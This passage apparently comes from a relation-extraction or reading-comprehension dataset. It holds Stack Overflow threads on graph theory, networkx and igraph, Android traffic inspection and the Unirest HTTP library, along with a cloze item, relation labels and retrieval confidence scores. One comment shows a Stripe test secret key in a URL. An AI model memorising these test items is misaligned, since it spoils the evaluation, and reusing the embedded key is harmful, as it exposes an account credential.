includes the edge weight we are iterating over the edge which connects those two nodes . Although I can t point to a citation at the moment it seems like we should be finding the correlation of remaining weights . That is to say where s phi above is the sum of weights on edges connected to node phi including the edge that connects them it should be the remaining weights the sum of weights on edges connected to node phi except for edge i . .. . .. . Firstly I am curious if this is an issue Working with this type of graph will assortativity using nodes weights bias up my correlation estimate Does it just not matter .. . .. . Secondly I am curious if this is possible with the igraph package in r or the networkX python library . Perhaps an implementation of weighted degree-dependent nearest-neighbors degree Doesn t look like it but thought I d ask . .. . .. . I put together an example to show you what I mean : .. . .. . Set up .. . .. . igraph .. . .. . my remaining weights assortativity .. . .. . returns : .. . .. . For some evidence note the total weights assortativity matches igraph s . And as suspected the remaining weights assortativity is a bit lower than that derived with total weights . Comment : I don t have an answer but have you seen this : sciencedirect.com science article pii S0378437106013707 http : www.sciencedirect.com science article pii S0378437106013707 Comment : I have I actually prefer their notation over Newman s . They suggest checking weighted degree-dependent nearest-neighbor degree and suggest a version of weighted assortativity coefficient eq 15 that applies edge weights to total node degree . Since I m curious about correlations of trading and trader size strength not degree I don t think suggestion makes much sense in this application . Thanks for help Comment : Just wanted to point out Noldus and Van Mieghem 2015 also have a nice survey of these topics . nas.ewi.tudelft.nl people Piet papers https : www.nas.ewi.tudelft.nl people Piet papers JCN2015AssortativitySurveyRogier.pdf", "Question : null .. . Answer : I m trying to generate a adjacency-matrix from a csv . The csv contains 2 columns 1 for users and 1 for projects . The two columns form a bipartite graph where each user can be part of multiple-projects or none at all but no edges between nodes of the same set there are no repeating entries for the same user-project pair but there are repeated entries of the same user or projects with different combinations for pairs . I wrote a comparison for comparing each user s project with the entire project set using Matlab and ismember a b . The algorithm runs iteratively through each entry . In the end I have an adjacency-matrix of size M users + user x users + user . For small entry count 15000 it works fast but for a sample of +15000 Matlab stalls . I initialize the adjacency-matrix with a zeros matrix zero r c and add row by row the results of ismember a b . But for my Matlab a zeros matrix zero 15000 15000 almost maxes out the memory . I tried also making a zero matrix in R with that size matrix 0 15000 15000 and it also maxes out R s memory . Is there a way to get around this My full sample size is 597 000 rows with 70 000 users and 35 000 projects and I want to run a network-analysis of it . Also I want to keep it in matrix format and not an adjacency-list because I have a max cut min flow algorithm I want to run on the results and it only works with matrices . Updated : .. . .. . The data looks like this .. . .. . .. . It is taken from SourceForge using Zerlot from University of Notredame . Where each int value is a key in a SQL database . I want to convert this affiliation data into a one-mode user-to-user adjacency-matrix where each edge between users is a shared-project . Comment : The Matrix package handles sparseMatrix objects that let you store very big matrices as long as most of the elements are 0s . Why your final matrix should be M users + projects x users + projects instead of user x projects An user can be linked with another user Anyway if you provide a small example of your dataset you could receive more useful answers . Comment : Oops after looking at it the matrix size should actually be M user + user x user + user since I want it to be a one-mode representation of the affiliation data where nodes are users and edges are shared projects .", "Question : null .. . Answer : I m trying to plot a geographic igraph network using visNetwork . The igraph code is below I ve found this visNetwork solution but I m having problems adapting the code correctly https : github.com DataKnowledge visNetwork blob master R visIgraphLayout.R .. . .. . edit Update .. . .. . I have a R-igraph network this is visualised using the visNetwork library . I have a spatial data frame this is visualised using Leaflet . How do I visualise the network on a map but keeping the visNetwork functionality See example here http : www.singlegrave.nl network index.html", "Question : I m crawling slideshare.net graph starting at my node and following all the users in BFS until the number of visited nodes is 1000 . I perform BFS in the following way : .. . .. . crawl is a function in which I make the slideshare api query as explained here http : www.slideshare.net developers documentation get user contacts create the query payload by using my shared-secret and api-key given at the time for api registration send the query and parse the XML response stored in variable response . After parsing I add the contacts of the present node in the queue . While crawling I also create a edgelist.csv file that contains all the edges in the graph . This file seems to be fine . Also other functions such as degree in degree average clustering seem to be working fine . Then I use networkx to create a graph which has 1000 nodes . But if I try to find diameter of this graph using following function : .. . .. . With above code I am not able to find the diameter of my graph this doe not return anything and my program is stuck at this line . Any insights to what might be happening Mine is a connected graph . I m converting it to an undirected one using to undirected function . I tired running it with the directed-graph and I got the following error .. . networkx.exception.NetworkXError : Graph not connected : infinite path length .. . .. . My question is how can it be disconnected since I am using BFS to crawl . Python 3.4 .. . Networkx 1.9.1 Comment : If your program is stuck at this line then it hasn t completed yet -- so of course it hasn t returned anything . Please try checking the integrity of your graph number of nodes connectivity etc . . Also try a smaller graph say 10 nodes and work your way up . This will show whether it s a problem with any graph or just with a large graph . Comment : I don t exactly follow you on the check connectivity part . Can you elaborate on this one Comment : Can you check that your graph is connected -- that each node is connected to another and that there is a path from one node to each of the others I m not familiar with Networkx I use TrustedAnalytics and Titan so I m not sure what query capabilities you have . Comment : That s why I asked you to use a query on the graph . The network exception says that your graph is not connected . Can you please post according to stackoverflow.com help mcve http : stackoverflow.com help mcve -- give us a complete and minimal example to reproduce the problem Can you print out the graph structure such as an edge list I m suspicious about the graph creation . I ve been through enough of these in my own code . Comment : Now it is how can it be disconnected if I m using BFS . I have updated the question with my BFS method .. . Answer : The source code for diameter is here https : networkx.github.io documentation latest modules networkx algorithms distance measures.html diameter . It relies on eccentricity which is the function just above that in the source code . eccentricity finds the shortest-path from a node to all other nodes . The error message you are getting comes from this part of the code : .. . .. . Here L is the number of nodes that were reachable from a given node and order is the number of nodes in the network . L order means that there are nodes not reachable from the given node . In the case of an undirected network this means the network is not connected . However in your case you have a directed network . For a directed network L order means that the network is not strongly-connected . It could actually be weakly-connected and yours presumably is . So you ve hit an error message that is not quite accurate . For the directed network you ve created the diameter is infinite : if there is a node u which has no path to v this means an infinite diameter . Comment : Hey thanks for the detailed explanation . It cleared why the diameter was coming as infinite . But can you suggest any other way of finding diameter for a weakly connected graph Comment : Making it undirected will work but the calculation is slow - it has to check for every node how far it is from all the others . I think it s O N 2 worst case . If you know it s a tree then it s not hard - find the two longest paths from the root . But I don t think you ll have that for your network .", "Question : I am looking to see when and which apps are accessing the network from my Android Phone . I am looking for something like Wireshark http : www.wireshark.org but for Android . I found Shark for Root https : play.google.com store apps details id lv.n3o.shark but it requires a rooted phone I dont have one . Is there a way to see the network traffic from each app Comment : Could you proxy your phone via your computer and sniff the packets there Comment : you cannot packet sniff in linux without root Comment : @user1406716 have you tried my answer id you have and you liked it please consider marking it as correct : .. . Answer : You cannot monitor your own network on the android phone without root but here is how you can do it on a computer doesn t require root .. . .. . If you are on a windows PC try the following : .. . .. . 1 . Install fiddler2 .. . 2 . Open and go to Tools Fiddler Options Connections check Allow Remote computers to connect .. . 3 . Optional - uncheck act as system proxy on startup to prevent you from getting traffic from your pc .. . 4 . Restart fiddler .. . 5 . Go to wifi settings touch your connected wifi network for 4 seconds choose modify network config show advanced options Proxy Manual hostname YOURCOMPUTER NAME OR IP Proxy port 8888 or what you set it to in fiddler2 .. . 6 . Enjoy .. . .. . P.S . If you are on MAC there is charles if you are on another O.S . you can search for fiddler2 OS NAME alternative Comment : A link-to the same cantoni.org 2013 11 06 capture-android-web-traffic-fiddler http : www.cantoni.org 2013 11 06 capture-android-web-traffic-fiddler Comment : Wow Thanks I was scared he d come back and ask about HTTPS it s too hard to explain but this guide is amazing :", "Question : I am working on android app . My app sends lot of Http post request to external web server receives response . Is there any way to monitor network xhr setting in android may be with eclipse . Where i can monitor all http requests . If yes How In that case I need to change the workflow of my app if third party can able to access post data due to security concerns . .. . Answer : Bloodhound comes to mind . You have to connect your phone to the same network as your PC or laptop system . You can see the requests and data logs on your system . Comment : I m myself looking for a standalone android app or windows program that can access the data remotely .", "Question : null .. . Answer : I created a network graph using a transition matrix based on detections of an individual at different spatially explicit monitoring stations . I can plot the network graph and have it be spatially explicit using the layout argument in the plot.igraph http : igraph.org r doc plot.common.html function with the station locations as a matrix . I can also import a shapefile of an island around which the stations are located and plot that . However I cannot seem to find any straightforward way of overlaying the network graph onto the island basemap . An author of the igraph package Gabor Csardi appears to suggest it has to do with the add and rescale arguments as well as ensuring that the coordinates of my vertices and map match link https : lists.nongnu.org archive html igraph-help 2011-04 msg00076.html . Every time I make the rescale argument FALSE however the plot gets completely incomprehensible . My coordinates appear to match but I am new to working with shapefiles in R and am most likely missing something . This http : stackoverflow.com questions 30647537 using-geo-coordinates-as-vertex-coordinates-in-the-igraph-r-package post suggested t has to do with the xlim ylim arguments . Despite playing around with coordinates and those arguments for many hours I still can t get the network graph on the basemap . Any suggestions would be appreciated . Thank you . Comment : Can you share the island shape file", "Question : I have downloaded the pyivi.0.08 package but experience an error when run the command import pyivi . I have also installed the NI Visa and the 488.2 package . Is there any other package to be installed before running this command . I am trying to communicate with a Keysight Agilent Network analyzer through a GPIB using python scripting . Thanks in advance . Comment : What error message did you receive .. . Answer : The package pyivi.0.08 is supported on the Python package index and has a nice set of documentation here : https : pypi.python.org pypi pyivi 0.0.8 .. . .. . If the documentation doesn t get you started please list the specific error and mention how far you were able to work through the documentation . I ll update my answer to respond to your error message . Comment : it seems that it s last update was two years ago . is there any successive development on that or create new project instead .", "Question : My question is with regard to the increase decrease of the diameter of a network . I m thinking that as one adds more nodes to an existing network the density should effectively increase and the probability of the edges created by the new nodes could result in higher degree of clustering . If this is the case my assumption is that the diameter of the network should decrease as we add more nodes owing to the probability that shorter geodesic paths can now exist and become the new diameter . Am I wrong with this logic Or is there a better explanation or perhaps something I m missing .. . Answer : Work by Leskovec Kleinberg and Faloutsos has examined this question specifically 1 http : www.cs.cmu.edu afs cs Web People jure pubs powergrowth-kdd05.pdf 2 http : arxiv.org pdf physics 0603229.pdf . They find : .. . .. . First graphs densify over time with the number of edges crowing super-linearly in the number of nodes . Second the average distance between nodes often shrinks over time in contrast to the conventional wisdom that such distance parameters should increase slowly as a function of the number of nodes . Comment : I just went through Leskovec s paper about graph evolution . Seemed to address the issue . Thanks", "Question : I have this problem for a calculation I m doing on an observed network . Let s imagine a random graph G N p where N is the number of nodes and p is the probability of an edge being formed between any node ni and nj . The graph is undirected . Let s then mark an amount of x nodes say 5 as special . What is then the probability ps of a node to have an edge to any of these special nodes . I have disturbingly few ideas how to go about this myself . I suppose that the answer will be in two steps : .. . .. . Firstly because I imagine that I will have to conceder all possible graphs of N nodes to make events for my probability calculation . I think there might be S S-1 2 possible graphs if S N N-1 2 but these are not equally likely so I m at a loss . Secondly I understand that the probability of links to special nodes must approach 1 as the number of special nodes x approach N and that ps p if x 1 . Thankful for any hints . Thanks .. . Answer : For a non-special node there are x potential edges from that node to a special node . For any such potential edge the probability of the edge not being in the graph is 1-p . Assuming independence the probability that it avoids all special nodes is 1-p x . The complementary probability is what you seek it is .. . .. . For special nodes the probability that a given special node is connected to one of the other special nodes is .. . .. . You can combine these answers in various ways . Pick a node at random . The probability that it is either special or has an edge connecting it to a special node is : .. . .. . the probability that it has an edge connecting to a special node is : .. . .. . in all cases -- these tend to 1 as x tends to N . .. . .. . Since this is Stack Overflow a bit of programming is in order . Here is a Python 3 Monte Carlo simulation that seems to suggest the accuracy of the formula for the probability that a randomly selected node is either special or adjacent to a special : .. . .. . Python 2 would need to adjust e.g . x N to float x N . Sample output : Comment : Absolutely excellent answer . Those are the probabilities I m looking for and indeed they can be confirmed with Montecarlo simulations as you ve done . For those who like me don t speak Python so well I wrote a similar test in R which is here http : lilljegren.com stackoverflow random graphs.R and simulates the probability of a special node to have links to another special node . The code shows this convergence : Evaluation of estimations http : lilljegren.com stackoverflow montecarlo confirmation.png Comment : Cool . I ve been trying to learn R recently and looking at your code should be a good learning experience . It is always pleasing when simulations and theory agrees . What is your Ph.D . research in you mentioned being a Ph.D . candidate in your profile . Comment : Business history but there s a fair share of network-analysis in it too . My project is about various forms of collaboration between Swedish property-underwriters during industrialisation . The R-code I posted is not very neat though . It uses igraph http : igraph.org redirect.html however and with that package one can make a whole lot of fun explorations of graph-theory . Apparently there is a Python-package of igraph too . Thank s again . Comment : Voil . The R-script http : www.lilljegren.com stackoverflow random graphs.R is now extensively commented.. .", "Question : I m optimizing the loading times in a web app and I don t know what s the problem . Firebug s Net panel is showing time holes between requests . Can someone explain me this chart Firebug Net panel showing a gap between network requests http : i.stack.imgur.com NKsXS.jpg Comment : share your code for the page layout.js and style.css Comment : It s not a bug in Firebug it s the time needed to parse the page . I already partly answered this in another thread http : stackoverflow.com a 30611403 432681 . .. . Answer : The gap between the requests can have two reasons : .. . .. . 1 . Time needed to parse the requested page .. . .. . When you request a URL the browser needs to parse the returned contents to check whether they contain URLs to other ressources like JavaScripts CSS files images etc . Subsequently requested ressources need to be parsed too . So e.g . CSS files can contain references to images . Though the contents of the CSS file first need to be parsed to get those URLs . 2 . Dynamically requested ressources .. . .. . Using JavaScript resources can be requested asynchronously . These requests can be triggered e.g . through AJAX or by dynamically inserting DOM nodes like img src xyz.png alt into the page . Comment : Thank you Sebastian . The App shows 6-8 charts made with Highcharts seem that is the drawing time ." ] }
[ "yes-answer-long", "yes-answer-short" ]
graph-theory
UNK_RELATION
unirest@java@88
unirest -- unirest is a set of lightweight http libraries available in php ruby python @placeholder objective-c .
{ "confidence": [ 54.80583953857422, 45.644081115722656, 45.5205192565918, 45.475616455078125, 44.251678466796875, 44.251678466796875, 44.251678466796875, 44.166831970214844, 44.166831970214844, 43.97077941894531, 43.737586975097656, 42.44655990600586, 42.44655990600586, 42.30387496948242, 42.25050735473633, 42.21711730957031, 42.21711730957031, 41.02706527709961, 40.95500946044922, 40.88732147216797, 40.55609893798828, 40.55609893798828, 40.339881896972656, 40.215232849121094, 40.022274017333984, 40.022274017333984, 40.022274017333984, 40.022274017333984, 40.022274017333984, 40.022274017333984, 40.022274017333984, 39.6021728515625, 39.414859771728516, 38.881038665771484, 38.58915710449219, 38.494964599609375, 38.458709716796875, 38.458709716796875, 37.68741989135742, 37.51323318481445, 37.51323318481445, 36.738441467285156, 36.738441467285156, 36.738441467285156, 36.738441467285156, 36.738441467285156, 36.738441467285156, 36.68715286254883, 35.665035247802734, 35.597206115722656, 35.43709945678711, 35.12690734863281, 35.07233428955078, 35.00141525268555, 34.68098449707031, 34.68098449707031, 34.68098449707031, 34.68098449707031, 34.03540802001953, 34.03540802001953, 33.53974914550781, 33.53974914550781, 33.1559944152832, 32.62490463256836, 32.31513977050781, 32.31513977050781, 32.31513977050781, 32.31513977050781, 32.31513977050781, 32.31513977050781, 32.31513977050781, 32.31513977050781, 32.31513977050781, 32.31513977050781, 32.31513977050781, 32.31513977050781, 32.31513977050781, 32.31513977050781, 32.31513977050781, 31.669116973876953, 31.586849212646484, 31.173900604248047, 30.907855987548828, 30.822933197021484, 30.56745147705078, 30.527881622314453, 29.886198043823242, 29.80609893798828, 29.80609893798828, 29.80609893798828, 29.607982635498047, 29.607982635498047, 29.607982635498047, 29.607982635498047, 29.607982635498047, 29.607982635498047, 29.151447296142578, 28.466747283935547, 28.466747283935547, 28.295711517333984 ], "content": [ "github.com Mashape unirest-php https : github.com Mashape unirest-php", "I m the author of Unirest-Java https : github.com Mashape unirest-java .", "Unirest library :", "I didn t see any document regarding ssl on Unirest . except this : github.com Mashape unirest-php ssl-validation https : github.com Mashape unirest-php ssl-validation and it is not a good idea to disable validation .", "I recently installed unirest .", "How to import Unirest", "Unirest is just messy", "How do you include Unirest", "I need assistance with .NET unirest .", "I am making a call to the API using Unirest PHP .", "I m building an application using Mashape s Unirest library http : unirest.io unirest-java-1.2.6.jar .", "We are using Unirest as REST client .", "How can I do this with Unirest", "How do I add parameter header values for a unirest post request in Java .. . .. . Python Script : .. . .. . .. . .. . The server endpoint code is : .. . .. . .. . .. . What will be the unirest code in java", "Make a composer.json file with : .. . .. . require-dev : mashape unirest-php : 2 .", "@toniedzwiedz - Unfortunately Getting the status before parsing the response is not available in Unirest :", "I m not sure whether this is available in unirest but it works that way in pure Cocoa .", "I am using C and Unirest to query an api to reproduce this curl request .", "What is the resulting response object if a Unirest http : unirest.io PHP Request times out", "code Fatal error : Uncaught exception Exception with message SSL certificate problem : unable to get local issuer certificate in C : wamp www other vendor mashape unirest-php src Unirest Request.php on line 394", "I m using unirest 1.3 and AIML ab jar there is some clash internally I m unable to http-put using unirest and it gives me this exception .", "Please refer to this post http : blog.mashape.com post 69117323931 installing-unirest-java-with-the-maven-assembly-plugin on how to use Unirest in your Java projects .", "You should also be able to just download the unirest source and install that locally using pip or the Windows installer : pypi.python.org pypi Unirest https : pypi.python.org pypi Unirest", "I followed instructions on Github still I am getting this error .. . .. . Class Unirest Not found .. . .. . I followed this link https : github.com Mashape unirest-java", "I want to achieve this using unirest for Java .", "I don t think unirest itself is causing the issue .", "I don t have much idea about Unirest .", "It can happen that your Unirest or curl is not configured for ssl .", "I want to send an image file to a server with unirest .", "Maybe there s something easier than using Unirest .", "Then just install Unirest through Composer : .. . .. . 1 .", "Code : http : pastebin.com 7yWpnf2p I have problems with importing library unirest .", "Use unirest-java-1.4.9-SNAPSHOT-withDependency-ShadedForAndroid http : www.mediafire.com download vreluxa6t1itwnb unirest-java-1.4.9-SNAPSHOT-withDependency-ShadedForAndroid.jar .", "I am using Unirest API to send requests .", "I am trying to install Unirest and when i executed php file i got this error message", "You should also be able to just download the unirest source and install that locally using pip or the Windows installer : pypi.python.org pypi Unirest", "I am having trouble getting Unirest to query a site via JSON .", "I recommend using Maven this also gets all required dependencies of Unirest :", "Exception : SSL certificate problem : unable to get local issuer certificate in C : wamp www other vendor mashape unirest-php src Unirest Request.php on line 394 Stack Time Memory Function Location 1 0.0171 239440 main . . index.php : 0 2 0.2120 455152 Unirest Request : : get . . index.php : 9 3 0.2276 464696 Unirest Request : : send . . Request.php : 170 HELP", "Tech spec .. . .. . NodeJS v4.1.1 .. . Unirest v0.4.2", "I was trying to install python s unirest using pip .", "I keep trying to install unirest but I m unable to do it .", "I try to use unirest in my project at Android Studio .", "I tried injecting unirest as a dependency into the controller but the same issue occurred with UI .", "this is unirest code : .. . .. . or .. . .. . and i get this response from server : .. . .. . and this is my code :", "Need help for the uploading the assets in gitHUb using unirest api .", "I am trying to use Unirest-Mashape to build java applications .", "The API provider answered a similar query from me suggesting the following : .. . .. . Opening and reading a file in python is independent of unirest or this API .", "I am using unirest as follows : .. . .. . How do I set the response type to an arraybuffer or convert my response to an arraybuffer", "I am using Unirest asynchronous calls for Rest calls .", "What would be equivalent code in Objective-C", "I m using the unirest http wrapper http : unirest.io java.html in a Java application to send http-post requests .", "Then run : .. . .. . composer require mashape unirest-php .. . .. . Follow the instructions here : https : github.com mashape unirest-php .. . .. . 4 . require composer throught autoload : .. . .. . require-once vendor autoload.php .. . .. . and paste code from the mashape page below the above .", "Why dont you download the source files from github.com Mashape unirest-java archive master.zip https : github.com Mashape unirest-java archive master.zip and add it in your project source", "You should check : stackoverflow.com questions 26771975 http : stackoverflow.com questions 26771975 problems-using-unirest-in-android-studio", "I m using the UNIRest library and I m trying to switch to another ViewController on the response of an HTTP GET method .", "A good way to do this is with composer download from http : getcomposer.org then composer search unirest will tell you which module to install .", "Mashape requires that you use unirest https : www.mashape.com entopix maui-pro for HTTP requests .", "As from the image you posted the problem seems to be that Java cannot find the Unirest class .", "I also have a type of web terminal from which I can see the overall progress of said unirest requests .", "I am trying to install dependencies without maven for the Unirest library http : unirest.io java .", "It can be built by following this http : blog.mashape.com installing-unirest-java-with-the-maven-assembly-plugin tutorial .", "There is a bug in Unirest for NodeJS at least where sending a base64 file won t set the Content-Size header .", "Did this workaround https : github.com Mashape unirest-java issues 15 help", "Unirest will not try to parse the result to JSON so you need to do it yourself if the status code indicates success .", "Unirest claims to parse responses for you which sounds like something that you don t want .", "I am begining to learn Unirest api calls and I was practiscing on mashape api .", "I m using java Unirest 1.4.7 implementation from both Jython 2.7 and Java 7 code .", "I believe that the jython Strings are somehow seen as Collections by Unirest on the first time i pass them as a field .", "I write project in Java using Maven and to REST app using Unirest lib .", "This is how I made a GET request using Unirest : .. . .. . Is there a way to listen download progress of the response", "You re using the asynchronous calls of Unirest and the response should be called on the UI thread Main thread .", "Can you also confirm that you re calling the Unirest get method on the main thread", "I successfully imported unirest but the files inside the package com.mashape.unirest.http haven t got imported : .. . .. . I don t know what to do .", "I ve read the unirest documentations but I still don t understand how I can do it .", "If still want to use Unirest I havent tried it before just try to change the ContentType .", "Also please update the Unirest library to the newest version because 1.2.6 is deprecated now .", "I meant to say that except Unirest other files are being imported using Maven .", "Please help make sure all the dependencies I need is below since I have not used unirest before this .", "Edit : .. . .. . I found this http : blog.mashape.com using-unirest-java-for-your-android-projects awesome tutorial which worked out for me .", "I have a Maven Java project that uses Mashape Unirest http : unirest.io java.html for sending HTTP requests to other URLs .", "I ve tested this with Unirest 1.3.1 and 1.4.7 and with Apache HttpClient commons.httpclient 3.1 and all have the same result .", "But when i import unirest in python I get a different error from email.Utils import parsedate tz ImportError : cannot import name parsedate tz", "The problem was my pip default version read pip 8.1.2 from usr local lib python3.4 dist-packages pip-8.1.2-py3.4.egg python-3.4 sudo pip2 install unirest returned successfully installed unirest .", "I am currently writing an integration test using TestNG that sends a normal HTTP request using Unirest .", "When i m trying to send a request using the tutorial given by Mashape http : blog.mashape.com using-unirest-java-for-your-android-projects .", "https : www.mashape.com blaazetech site2sms .. . .. . The API is calling requests with Unirest PHP Library. . Can someone give a sample page or code snippet or even idea about how to implement it .", "Trying to use this Words API in an android application which only seems to accept requests using Unirest .", "Request example for the definition of incredible specified by api : .. . .. . The trouble is implementing the unirest request with doInBackground in AsyncTask .", "can you please tell me if this is the correct way to send a multipart request using UNIRest", "Since Unirest is trying to convert the html into json getting the following issue .. . .. . In this case we are just getting this InvalidJsonException and the actual html error page is lost .", "If you want to get more raw response data I would ditch the unirest library and use something thinner such as request https : github.com request request .", "The log gives : - I Unirest com.mashape.unirest.http.HttpResponse@18d1f542 .. . .. . Right now parsing json is not important but I want to know why is my data blank", "The code compiled fine but there are other problem in the server-side once that gets fixed I will let you know if my unirest code worked or not", "This is a curl request from Stripe API curl method : .. . .. . Right now I have this unirest code : .. . .. . Stripe returns method is wrong .", "I have been getting some errors in my logcat that crash my application while trying to execute some unirest requests .", "Now trying to call this from a C application using Unirest thus : .. . .. . Have also tried without a double-quote preceding the bb true and including excluding the --data param in post string .", "Here is my code : .. . .. . I know I have to use .. . .. . according to the documentation of Unirest but I am not sure where the flow of the code is ending .", "I have found Mashape API but I get an exception .. . .. . An unhandled-exception of type System.InvalidOperationException occurred in System.Net.Http.dll error in Unirest library .", "The unirest code is not working..but if I replace with the below code though for a diff method works just fine RestTemplate restTemplate new RestTemplate final String uri http :" ] }
{ "confidence": [ 58.249298095703125, 57.193695068359375, 54.925148010253906, 53.880611419677734, 53.869239807128906, 51.11103820800781, 50.974281311035156, 50.916053771972656, 50.078086853027344, 49.91486358642578, 49.73558044433594, 49.72486877441406, 49.300804138183594, 48.845741271972656, 48.80615997314453, 47.623146057128906, 46.427268981933594, 45.47442626953125, 44.73487854003906, 44.6503791809082 ], "content": [ "Question : I am pure beginner to APIs. . I am doing a project and think about including Site2Sms Api to send messages . The API I wish to use is in the link . https : www.mashape.com blaazetech site2sms .. . .. . The API is calling requests with Unirest PHP Library. . Can someone give a sample page or code snippet or even idea about how to implement it . Thanks in advance Comment : Have you installed Unrirest A good way to do this is with composer download from http : getcomposer.org then composer search unirest will tell you which module to install . Comment : Have you maybe clicked on the link and RTFMed unirest.io php http : unirest.io php .. . Answer : That page gives you the PHP snippet you need to use just select it from the menu on the left . Then just install Unirest through Composer : .. . .. . 1 . First get Composer . google is ur friend .. . .. . 2 . Make a composer.json file with : .. . .. . require-dev : mashape unirest-php : 2 . .. . .. . 3 . Then run : .. . .. . composer require mashape unirest-php .. . .. . Follow the instructions here : https : github.com mashape unirest-php .. . .. . 4 . require composer throught autoload : .. . .. . require-once vendor autoload.php .. . .. . and paste code from the mashape page below the above . Its very simple..really . Comment : code Fatal error : Uncaught exception Exception with message SSL certificate problem : unable to get local issuer certificate in C : wamp www other vendor mashape unirest-php src Unirest Request.php on line 394 Exception : SSL certificate problem : unable to get local issuer certificate in C : wamp www other vendor mashape unirest-php src Unirest Request.php on line 394 Stack Time Memory Function Location 1 0.0171 239440 main . . index.php : 0 2 0.2120 455152 Unirest Request : : get . . index.php : 9 3 0.2276 464696 Unirest Request : : send . . Request.php : 170 HELP @API sheriff orlie Comment : stackoverflow.com questions 21114371 php-curl-error-code-60 https : stackoverflow.com questions 21114371 php-curl-error-code-60 Comment : the SSL error is do you not having configured your local certificate . you can use this certificate or generate your own : curl.haxx.se ca cacert.pem http : curl.haxx.se ca cacert.pem", "Question : null .. . Answer : I followed instructions on Github still I am getting this error .. . .. . Class Unirest Not found .. . .. . I followed this link https : github.com Mashape unirest-java Comment : What does this have to do with PHP Comment : github.com Mashape unirest-php https : github.com Mashape unirest-php Comment : So on that page you ve got an install from source section . Have you followed that Comment : Why not composer", "Question : This is a curl request from Stripe API curl method : .. . .. . Right now I have this unirest code : .. . .. . Stripe returns method is wrong . I think its the -u param in curl . .. . Answer : I don t have much idea about Unirest . As you are facing issue with -u header you can use the authorization parameter inside the url as below . Comment : not working thanks for helping any other ways Comment : Remove header Content-Type application json from your code . You are not passing json there . Comment : But what parameter is -u sk test ASX21312FCA Comment : tried this https : sk test RxRTXF1CDHuRw3ZUdynxnG6P : @api.stripe.com v1 accounts didnt work Comment : It can happen that your Unirest or curl is not configured for ssl . I didn t see any document regarding ssl on Unirest . except this : github.com Mashape unirest-php ssl-validation https : github.com Mashape unirest-php ssl-validation and it is not a good idea to disable validation .", "Question : I am having trouble getting Unirest to query a site via JSON . Code : .. . .. . AuthLIB.java : .. . .. . I am getting errors : .. . .. . My Errors in Image http : i.stack.imgur.com BVAyO.png .. . .. . This is very frustrating not to have the posting working . Help Please .. . .. . 3 Candy Comment : I need this going ASAP C .. . Answer : As from the image you posted the problem seems to be that Java cannot find the Unirest class . How do you include Unirest I recommend using Maven this also gets all required dependencies of Unirest :", "Question : I m building an application using Mashape s Unirest library http : unirest.io unirest-java-1.2.6.jar . I m getting NoClassDefFoundError during runtime . I tried CommonsWare http : stackoverflow.com a 16596990 1842303 s method . But it didn t work . Here is the screenshot of Java Build Path . Anything wrong in this screenshot enter image description here http : i.stack.imgur.com LweW7.jpg .. . Answer : I m the author of Unirest-Java https : github.com Mashape unirest-java . In order to use the library you need to include the required dependencies into your project : .. . .. . Apache HttpComponents Client .. . Apache HttpComponents AsyncClient .. . Apache HttpComponents Mime .. . JSON library .. . .. . Using Maven http : maven.apache.org is the preferred method : https : github.com Mashape unirest-java installing .. . .. . Otherwise the libraries can be manually downloaded from http : hc.apache.org downloads.cgi and http : www.json.org java index.html .. . .. . But again I would strongly recommend to use Maven . Also please update the Unirest library to the newest version because 1.2.6 is deprecated now . Comment : I tried installing using maven-plugin for eclipse . I created pom.xml file with your contents gist.github.com thefosk 7325187 http : gist.github.com thefosk 7325187 . I did Maven Install by right clicking pom.xml and it generates a folder named target contains set of files with snapshot.jar file . You can see the screenshot here i41.tinypic.com 27y8q39.jpg http : i41.tinypic.com 27y8q39.jpg And while creating a request it shows error . How to import Unirest Comment : After you import the library in your project you also need to import the dependency in your source file . Can you add this code before public class . . : gist.github.com thefosk 7343991 https : gist.github.com thefosk 7343991 Comment : I meant to say that except Unirest other files are being imported using Maven . It created Snapshot.jar file in android project . Please see this screenshot i.imgur.com auHM1SX.jpg http : i.imgur.com auHM1SX.jpg", "Question : I have a function which returns a list of text . I am using an API from Mashape https : www.mashape.com Maui-Pro http : unirest.io which generates keywords from a given piece of text . Mashape requires that you use unirest https : www.mashape.com entopix maui-pro for HTTP requests . I want to pass the list of text to the API and generate keywords for each piece of text but can t work out how to loop through the each piece of text in the list using unirest . Here s the code : .. . .. . I d like to substitute the content text in params with each piece of text in text list and return keywords for each . Any help much appreciated . Thanks .. . Answer : Not so much an answer but my suggestion if anyone else has this problem is to use the python Requests module . Unirest is just messy The API provider answered a similar query from me suggesting the following : .. . .. . Opening and reading a file in python is independent of unirest or this API . For example : .. . .. . will read the content in a way that can then be used with this or any other API However I was unable to get around . Perhaps you succeeded . Can answer with an example of the code", "Question : I want to send an image to web server which has RestFul api s . This is what I have in my backend . First RequestParam ecgImage is the image . I m using UNIRest libary in ios for making restful calls and I m hoping something like this would work .. . .. . How do I send the image In android I used to have the image as a Bitmap and I send it like this . But I now in iOS all I ve is a UIImage . So i tried searching convert UIImage to ByteArrayBody but didn t have any luck . What would be equivalent code in Objective-C Comment : countered down votes . the question might be pretty obvious but at least this question is proper : shows relevant valid code is more than a sentence mentions what was searched.. . don t see why it d be bad Comment : I was also wondering the same thing . I searched a lot before posting this question but didn t find anything useful .. . Answer : You need to convert it to an NSData object : Comment : can you please tell me if this is the correct way to send a multipart request using UNIRest In backend I m getting this error.. . org.springframework.web.multipart.MultipartException : The current request is not a multipart request", "Question : I keep trying to install unirest but I m unable to do it . I m using python-3.4 because I couldn t figure out how to install it on 2.7 . Even though I m in the 2.7 directory I think it is running python-3.4 . Does anyone know how to troubleshoot this Is there a manual way I ve tried searching for a while and can t find anything . enter image description here http : i.stack.imgur.com EQnbY.png Comment : Looks like the connection is timing out . Might be the server is down or slow . Try changing the time allowed before time-out --default-timeout 60 or so . You should also be able to just download the unirest source and install that locally using pip or the Windows installer : pypi.python.org pypi Unirest https : pypi.python.org pypi Unirest Comment : ok thx. . i managed to install it however now i m getting a new error .i don t even know what this is saying is it missing or not missing now Comment : i.imgur.com 9zeGuSd.png http : i.imgur.com 9zeGuSd.png Comment : I upgraded my comment to an answer since it fixed your problem please accept it . : As for your new error it sounds like you need to install another module named poster . Try pip install poster . .. . Answer : Looks like the connection is timing out . Might be the server is down or slow . Try changing the time allowed before time-out --default-timeout 60 or so . You should also be able to just download the unirest source and install that locally using pip or the Windows installer : pypi.python.org pypi Unirest", "Question : I m building an application using Mashape s Unirest library http : unirest.io unirest-java-1.2.6.jar . I m getting NoClassDefFoundError during runtime . I tried CommonsWare http : stackoverflow.com a 16596990 1842303 s method . But it didn t work . Here is the screenshot of Java Build Path . Anything wrong in this screenshot enter image description here 